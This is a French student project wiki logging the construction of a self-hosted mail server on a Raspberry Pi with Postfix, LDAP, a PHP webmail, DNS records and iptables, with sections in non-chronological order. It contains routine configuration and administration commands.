[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]

==== Scripting ====

Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer <code>libswitch-perl</code> pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.

===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===

[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]

Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier.
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur.
* Un dossier mail, dans lequel sont stockés les mails envoyés
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.

===Semaine 8 (09/11/2015) - Postfix et filtrage===
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier <code>master.cf</code>. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :

# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=filter
filter unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/path/to/script $queue_id $size $sender $recipient

Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :
[
{
"from": "michel.drucker@gmail.com",
"subject": "Vivement dimanche",
"timestamp": "2015-11-8 19:59:53",
"unixtimestamp": "1447012793",
"queueid": "48FE03FA87",
"filepath": "???",
"size": "1676",
"status": "0",
"pj": "0",
"id": "0",
"to": "jbond@intimail.pw"
}
]
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).

Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis <code>user=vmail</code>. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.

Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.

===Semaine 9 (16/11/2015)===
===Semaine 10 (23/11/2015)===
===Semaine 11 (30/11/2015)===

Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.

D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises <a href> pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.

La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :
$('#table').on('click-row.bs.table', function (e, row, $element) {
console.log(row, $element);
alert("L'utilisateur d'intimail a cliqué sur "+row);
});

On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.

===Semaine 12 (07/12/2015)===
==== Parseur pour les mails entrants ====
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.

La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :
Un mail arrive
Le hook de postfix est exécuté
Le mail est envoyé via Sendmail --------------------------------------------------------------> Le mail est en attente de délivrement
Le script de parsing est lancé |
Le script vérifie dans les dossiers la présence du nouveau mail |
et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités |
| v
| Le mail est délivré et existe dans le système de fichier
v |
Le script a trouvé le fichier et le traite <----------------------------------------------------
Fin

Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle <code>$unixtimestamp.$queueid</code>. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ <code>filepath</code>.

====Interface Web====
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton "Write an email", présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?

[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]

===Semaine 13 (14/12/2015)===

* Écriture du rapport intermédiaire
* Réalisation du support de soutenance

===Semaine 14 (04/01/2016)===

* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation

===Semaine 15 (11/01/2016)===

Poursuite de la longue réécriture du code shell en perl.

===Semaine 16 (18/01/2016)===

Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut "pj" quand une pièce jointe est présente.

Côté serveur : La complexité du script permettant l'extraction des informations des mails devenant trop importante, nous avons pris le parti de réécrire le code dans un langage un peu plus simple : le Perl. Il permettra d'éviter l'utilisation de (nombreuses) variables d'environnement, tout en proposant des performances accrues.

===Semaine 17 (25/01/2016)===

Côté web :
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans "Envoyés", les mails reçus dans "Boite de réception", manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas

Côté serveur : Implémentation de la gestion des quotas. Quand un mail arrive, chaque destinataire voit son quota contrôlé pour déterminer si oui ou non le mail peut être délivré. Comme nous l'avions dit précédemment, postfix gère le rebond des mails grâce au code de terminaison du script. Or nous à priori il va falloir proposer une solution maison pour pouvoir le faire. En effet, si un mail est refusé pour cause de quota plein, le mail reçu est tout bonnement supprimé sans notifier ni le destinataire, ni l'envoyeur.

===Semaine 18 (01/02/2016)===

Côté web :
* Identification d'un administrateur ou simple utilisateur
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs.
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers ".inc" : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.

Côté serveur :
Mise en place d'un système de récupération des pièces jointes. Pour cela nous utiliserons la commande munpack du paquet mpack. Cette commande permet de décomposer un fichier mail pour notamment en récupérer les pièces jointes. De plus, après test et concertation, nous nous sommes rendu compte qu'il serait intéressant d'utiliser cette même commande pour extraire les messages des mails, évitant ainsi un chargement assez long sur l'interface graphique.

===Semaine 19 (08/02/2016)===
Côté Web :
* Implémentation du back-end des fonctions de gestion d'un compte : changement UID, mot de passe, nom+prénom, quota, tout fonctionne.
* Suppression d'un compte : fonctionnelle
* Création d'un compte : fonctionnelle
* Création d'une fonction permettant d'ajouter un utilisateur à une liste/un groupe donné(e) : OK
* Création d'une fonction permettant de supprimer un utilisateur d'une liste/un groupe donné(e) : OK
* Création d'une fonction permettant de lister les groupes existants : OK
* Création d'une fonction permettant de créer/supprimer un groupe : OK

Au 10/02, on peut créer des comptes, les dossiers sont crées sur le système sans problème à réception d'un mail de bienvenue, on peut envoyer et recevoir des messages, donner les droits d'administrations, gérer la configuration du webmail depuis l'interface, gérer les utilisateurs et leurs attributs depuis l'interface, tout semble prêt relativement au cahier des charges initial. Nous allons migrer notre installation sur une autre IP et autre domaine.

Côté serveur :
Croyant que les fonctionnalités demandées étaient implémentées, nous nous sommes rendu compte après tests que les mails envoyés d'un compte Intimail à un autre compte Intimail n'apparaissaient pas. Ceci était du au fait que le script utilisé n'était activé que lors de la réception d'un mail par le réseau (serveur smtp). Nous avons donc modifié la manière donc les mails sont passés au script, en ajoutant une règle dans <code>master.cf</code> :
mailrte unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/home/moth/Documents/pfe/postfix/json_parser.pl $queue_id $size $sender $recipient
Pas de grande nouveauté ici. Dans le fichier <code>main.cf</code> :
virtual_transport = mailrte

Ces commandes passent TOUT les mails au script défini via l'entrée standard. C'est notre script qui doit alors se débrouiller pour délivrer les mails (précédemment, postfix se chargeait toujours d'écrire les fichiers). Encore une fois, nous avons donc dû modifier notre programme en conséquence.

===Semaine 20 (15/02/2016)===
Nous avons migré la raspberry d'une IP interne au réseau Polytech vers une IP externe. La migration s'est passée sans aucun problème, le plus long étant d'attendre que les zones DNS se propagent (cela a bien pris 1 heure !). Nous sommes donc passés de 193.48.57.171 vers 5.23.44.85.
Nous émettons enfin des mails vers les serveurs extérieurs (en particulier Google Mail, Microsoft Live...). La théorie de départ que nos échecs d'envoi étaient dû aux restrictions du CRI s'est donc bien vérifiée : plus aucun problème juste en migrant.

Finalisation de la gestion des PJs : en cas de mail contenant une pièce jointe, un bandeau permet d'ouvrir chacune d'entre-elles dans un nouvel onglet. La pièce jointe en base 64 dans le fichier mail brut est reconstruite dans un dossier accessible au serveur web puis supprimée pour un gain de place (le fichier d'origine ou reconstruit est plus petit en taille que sa version encodée en base 64, on optimise donc ainsi le quota et l'espace disque).

Corrections de bogues d'encodage des mails entre ISO et UTF8.

Travail sur la création d'un paquet Debian.

===Semaine 21 (22/02/2016)===

* Tournage de la vidéo du projet avec Laurent Engels du service Communication
* Fin de la rédaction du rapport final de PFE
* Rédaction du diaporama de présentation orale du PFE

== Fichiers Rendus ==
Interface web : [https://intimail.pw intiMail.pw]

Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]

Rapport de Projet : [http://projets-imasc.plil.net/mediawiki/images/1/10/PFE_Final_TENEUR_LIBAERT.pdf ICI]

Vidéo de Projet : [http:// Soon™] (Tournée le 22/02 10h avec Laurent Engels)

Code de l'interface + README expliquant le contenu : [http://projets-imasc.plil.net/mediawiki/images/7/73/Intimail.zip intiMail.zip]

Code Perl du script pour Postfix :

Fichier de configuration (Postfix/Lighttpd) fonctionnels : [http://http://projets-imasc.plil.net/mediawiki/images/1/11/Config_intimail.zip Config Postfix+Lighttpd]

Guide d'installation (version seule, déjà inclus dans le rapport final) : [http://projets-imasc.plil.net/mediawiki/images/e/e0/Readme-Intimail.pdf Guide d'installation]

Fichier:PFE Final TENEUR LIBAERT.pdf

2016-02-23T11:03:29Z

Tteneur : Rapport Final de PFE pour le projet P9 Système d'hébergement domestique

Rapport Final de PFE pour le projet P9 Système d'hébergement domestique

P9 Système d'hébergement domestique

2016-02-23T10:49:18Z

Tteneur : /* Fichiers Rendus */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.

Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation.

Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).

====Objectif du projet====

L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.

====Description du projet====
====Choix techniques : matériel et logiciel====
Matériel obtenu à ce jour :
* 1 Raspberry Pi 2 [obtenue le 07/10/2015]
* 1 Carte µSD 8 GB [obtenue le 07/10/2015]
* 1 Cable USB/µUSB [obtenu le 07/10/2015]
* 1 Câble RJ45 [obtenu le 07/10/2015]

==Suivi de l'avancement du Projet==
===Semaine 1 (21/09/2015)===

Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.

Nous allons étudier et approfondir les points suivants :

* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX
* Installer un serveur de messagerie SMTP, et IMAP/POP
* Investiguer du côté de POSTFIX
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)

Ce qui doit pouvoir être fait :
* Distinction administrateur / utilisateur
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)
* Gestion des quotas/espace disque réservé par ex
* Choix du quota (par qui ? options ?)
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?

Prévision du Matériel :
* Raspberry Pi 2
* Alimentation RPi
* Carte SD (8Go)

Le module énergétique sera équipé des éléments suivants :
* 1 MPPT
* Convertisseur Numérique Analogique : MAX5250
* Potentiomètre : MCP4261
* Relai : R561D.56 NTE
* Résistances : Deux de 100Ω et deux de 10kΩ
* une LED
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4
* Circuit d'alimentation autonome : cellule photovoltaique
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)

===Semaine 2 (28/09/2015)===

Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.

☐ Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)
*Postfix pour SMTP
*Dovecot, Courier ou Cyrus pour IMAP/POP3
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)
*LMTP

☐ Gestion particulière des gros mails et notamment de leurs pièces jointes
*Bigfile pour un stockage en ligne
*Décodage base 64 des pièces jointes ? (difficulté++)

☐ Gestion des utilisateurs
*Plusieurs comptes, en utilisant LDAP
*La possibilité de s'identifier en tant qu'administrateur

☐ Listes de diffusion

☐ Comptes mail temporaires (10 minutes mail like)

☐ Antivirus & Spam
*ClamAV ou SpamAssassin ou autres : lourd.
*iptables dans un premier temps.
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, "boites intelligentes" de spams.

☐ Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)
*Record A
*Record MX

☐ Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)

Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.

===Semaine 3 (05/10/2015)===
Nous avons précisé les éléments constituants l'interface web :
* Gestion des comptes (création, modification, suppression d'utilisateurs...)
* Gestion des listes de diffusions
* Gestion des quotas
* Affichage du courrier
* Gestion de l'antivirus

===Semaine 4 (12/10/2015)===
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].

Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.

Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.

Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :
ldapsearch -c -h localhost -b dc=domain,dc=tld -x
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :
ldapsearch -c -h localhost -b dc=domain,dc=tld -D "cn=admin, dc=domain,dc=tld" -W

On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier <code>.ldif</code> décrivant cette structure et l'avons ajoutée avec la commande :
ldapadd -D "cn=admin,dc=domain,dc=tld" -W -h localhost -f ldif/mail_tree.ldif
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -h localhost -b "dc=domain,dc=tld"

Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier <code>.ldif</code> et de l'ajouter de la même manière que précedemment avec <code>ldapadd</code>. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl <code>add_user.pl</code> simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle <code>ldapsearch</code> et même tester l'identification avec :
ldapwhoami -vvv -h localhost -D "cn=username,dc=mail,dc=domain,dc=tld" -x -W
Si la commande renvoie <code>Result: Success (0)</code> alors l'identification a fonctionné.

La commande <code>ldapsearch</code> permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -b "dc=mail,dc=domain,dc=tld" "(&(objectClass=CourierMailAccount))"
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.

===Semaine 5 (19/10/2015)===
==== DNS et SSL ====
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]

nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.

De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.

La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :
@ IN MX 10 mail.intimail.pw.
mail IN A 193.48.57.171

De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :
171 IN PTR mail.intimail.pw.

A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.

==== LDAP ====
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :

[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]

Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.

Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean :
dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw
uid: jvaljean
mail: jvaljean@intimail.pw
sn: Valjean
givenName: Jean
displayName: Jean Valjean
mailbox: intimail.pw/jvaljean/
homeDirectory: /home/vmail/
objectClass: top
objectClass: inetOrgPerson
objectClass: CourierMailAccount
userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg

Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).

==== Web ====

Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire.
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].

Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)
* 1,90s sur une connexion 4G moyenne (15MB/s)
* 2,80s sur une connexion DSL moyenne (2MB/s)
* 1,90s sur une connexion Wifi (30MB/s)
* 1,70s sur une connexion THD (100MB/s)
Résultats qui semble apporter bon compris poids/qualité de l'interface.

Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache
Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(

===Semaine 6 (26/10/2015)===
==== Firewall ====
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.

Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :
cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed # Pour lister les messages de connexion échouées
sed -ne 's/.*\[$[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$\].*/\1/p' # Pour n'afficher que les ip
*file* | sort | uniq # Pour classer et éliminer les doublons

On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.

==== Postfix ====
Nous avons installé l'agent de transfert de mail Postfix (<code>apt-get install postfix postfix-ldap</code>) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :
telnet ex 25
Trying xxx.xxx.xxx.xxx...
Connected to intimail.pw.
Escape character is '^]'.
220 mail.intimail.pw
ehlo intimail.pw
250-mail.intimail.pw
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:toto(arobase)titi.com
250 2.1.0 Ok
RCPT TO:jvaljean(arobase)intimail.pw
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Premier Test
Here is my test
.
250 2.0.0 Ok: queued as 0EDFC21428
quit
221 2.0.0 Bye
Connection closed by foreign host.

Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions

==== Cyrus SASL ====

Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail.

==== LDAP ====

